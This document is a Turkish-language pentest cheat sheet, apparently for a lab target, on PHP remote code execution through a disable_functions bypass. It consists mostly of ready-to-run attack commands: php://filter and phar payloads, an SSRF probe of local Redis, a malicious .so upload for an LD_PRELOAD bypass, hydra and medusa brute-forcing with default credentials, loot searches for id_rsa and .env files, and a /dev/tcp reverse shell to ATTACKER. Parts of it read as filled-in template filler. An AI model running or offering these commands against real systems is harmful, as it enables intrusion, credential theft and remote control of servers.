disable_functions bypass - via mem

PHP rce

PHP yüzeyleri: filter/phar deser, SSRF (curl/file), disable_functions bypass (LD_PRELOAD, imagick, FFI, CGI). Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. PHP info/sürüm.

2. Sink bul.

3. Bypass tekniği seç.

4. PoC komut.

Keşif

curl -s https://TARGET/phpinfo.php | grep -iE 'disable_functions|open_basedir|PHP Version'

nuclei -u https://TARGET -tags php

SSRF/LFI

curl -vk 'https://TARGET/?url=http://127.0.0.1:6379/'

curl -vk 'https://TARGET/?page=php://filter/convert.base64-encode/resource=../config.php'

curl -vk 'https://TARGET/?file=phar://upload/evil.phar'

disable_functions

curl -F 'file=@exp.so' https://TARGET/upload

mail()/putenv LD_PRELOAD; imagick; FFI; mod_cgi bash

python3 bypass_disable.py https://TARGET

Derin enum

disable_functions bypass - via mem için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p80 TARGET

nmap -Pn -p80 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → disable_functions bypass - via mem

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80

nmap -p80 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit PHP

msfconsole -q -x 'search PHP; exit'

nuclei -u https://TARGET:80 -t cves/ -silent -severity || true

nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 80

printf '
' | timeout 3 nc -nv TARGET 80

curl -vk --http1.0 http://TARGET:80/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

info → sink → bypass → command exec